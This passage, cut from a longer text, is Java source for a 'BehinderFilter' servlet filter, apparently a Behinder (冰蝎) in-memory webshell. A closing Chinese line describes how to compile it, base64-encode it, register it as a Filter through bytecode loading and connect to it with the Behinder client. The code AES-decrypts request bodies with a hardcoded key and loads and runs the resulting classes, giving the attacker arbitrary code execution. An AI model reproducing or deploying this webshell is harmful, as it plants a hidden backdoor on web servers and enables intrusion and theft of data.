catch (Exception e){ } } public BehinderFilter () { } public BehinderFilter (ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpSession session = ((HttpServletRequest)servletRequest).getSession(); Map obj = new HashMap (); obj.put("request" , servletRequest); obj.put("response" , servletResponse); obj.put("session" , session); try { session.putValue("u" ,"935d07f0ead60299" ); Cipher c = Cipher.getInstance("AES" ); c.init(2 , new SecretKeySpec ("935d07f0ead60299" .getBytes(), "AES" )); (new BehinderFilter (this .getClass().getClassLoader())).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()))).newInstance().equals(obj); } catch (Exception e) { e.printStackTrace(); } } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void destroy () { } }
编译成字节码->base64编码 利用加载字节码的方式注册FIlter 冰蝎连接